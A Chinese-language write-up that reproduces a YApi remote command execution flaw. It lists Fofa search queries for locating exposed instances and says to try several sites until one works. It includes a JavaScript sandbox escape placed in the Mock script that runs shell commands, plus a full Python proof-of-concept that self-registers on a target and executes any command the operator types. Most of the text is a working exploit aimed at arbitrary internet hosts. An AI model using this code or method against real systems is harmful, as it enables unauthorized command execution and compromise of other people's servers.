一:简介
Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。
二:漏洞复现
步骤一:Fofa搜索一下语句并随便打开一个页面
icon_hash="-715193973"
步骤二:点进注册页面填写好注册信息,并登录进去…
步骤三:点击添加项目并填写好信息进行创建,添加接口并填写相关信息
步骤四:创建好接口后进入界面点击高级Mock添加一下代码执行查看内核信息的命令并进行保存…再次点击预览访问Mock地址可查看执行结果。再次判断为Docker环境,无实际可利用位置…
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("uname -a").toString()
如果出现下图所示就重复步骤一重新找网站重新注册多试几个就好了
此图为成功样式
三:POC
import sys
import requests
import random
import urllib3
urllib3.disable_warnings()
"""
2021-7-9 04:56:36
Yapi任意任意命令执行 By j2ekim
fofa :app="YApi"
360 :app:"YApi 可视化接口管理平台"
"""
def ram_str(str_num):
str1 = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
ran_string = ''
for i in range(str_num):
num = random.randint(0, len(str1) - 1)
ran_string += str1[num]
return ran_string
reg_mail = ram_str(8) + "@" + ram_str(6) +".com"
reg_username = ram_str(6)
reg_passwd = ram_str(10)
path_name = ram_str(6)
def Yapi_vuln(vul_url,command):
s = requests.session()
reg_url = f"{vul_url}api/user/reg"
# print(reg_url)
reg_data ={
"email":f"{reg_mail}","password":f"{reg_passwd}","username":f"{reg_username}"
}
reg_user = s.post(url=reg_url,data=reg_data,verify=False)
if "member" in reg_user.text:
print(f"注册成功\n"
f"用户名:{reg_mail}"
f"密码:{reg_passwd}")
req_reps=reg_user.json()
#获取注册用户的uid
uid = req_reps["data"]["uid"]
# print(uid)
# 判断是否登录
user_info= f"{vul_url}api/user/find?id={uid}"
get_user_info = s.get(url=user_info)
# 获取当前用户group_id
get_user_group_id_url = f"{vul_url}api/group/get_mygroup"
get_user_group_id =s.get(url=get_user_group_id_url)
group_id = get_user_group_id.json()["data"]["_id"]
# 添加项目
add_project_data = {"name":f"{path_name}","group_id":f"{group_id}","icon":"code-o","color":"green","project_type":"private"}
add_project_url= f"{vul_url}api/project/add"
add_project = s.post(url=add_project_url,data=add_project_data,verify=False)
# print(add_project.json())
project_id_json=add_project.json()
project_id=project_id_json["data"]["_id"]
# 添加接口
add_interface_url = f"{vul_url}api/interface/add"
add_interface_data = {"method":"GET","catid":"4987","title":f"{path_name}","path":f'/Yapi_test_{path_name}',"project_id":f"{project_id}"}
add_interface = s.post(url=add_interface_url,data=add_interface_data,verify=False)
# # 设置全局变量
up_project_url = f"{vul_url}api/project/up"
up_project_data = {"id":f"{project_id}",f"project_mock_script":f"const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"{command}\").toString()","is_mock_open":"true"}
up_project = s.post(url=up_project_url,data=up_project_data,verify=False)
# # 访问漏洞地址
vuln_add = s.get(url=f"{vul_url}mock/{project_id}/Yapi_test_{path_name}")
print(vuln_add.text)
# 保存到文件中
# with open("YApi.txt",mode="a",encoding="utf-8") as f:
# f.write(vul_url)
def reg_status(url):
try:
reg_url = f"{url}api/user/status"
# print(reg_url)
reps_reg_status = requests.get(url=reg_url,verify=False,headers={"Referer": f"{url}/login"},timeout=5)
reg_status_json = reps_reg_status.json()
reg_statu = reg_status_json["canRegister"]
return reg_statu
except:
print("网络连接超时")
sys.exit()
def main():
url = input("url:")
if "http" not in url:
url= "http://"+ url
elif url == "":
sys.exit("未输入网址")
command = input("command:")
if command == "":
print("command不能为空")
sys.exit("")
# 判断是否开启注册
# reg_status()
site_reg_status = reg_status(url)
if site_reg_status == False:
print("管理员已禁止注册")
sys.exit()
else:
Yapi_vuln(url,command)
if __name__ == '__main__':
print("""
===========================================
Yapi任意任意命令执行漏洞 By j2ekim
fofa :app="YApi"
360 :app:"YApi 可视化接口管理平台"
url: http://x.x.x.x/
===========================================
""")
main()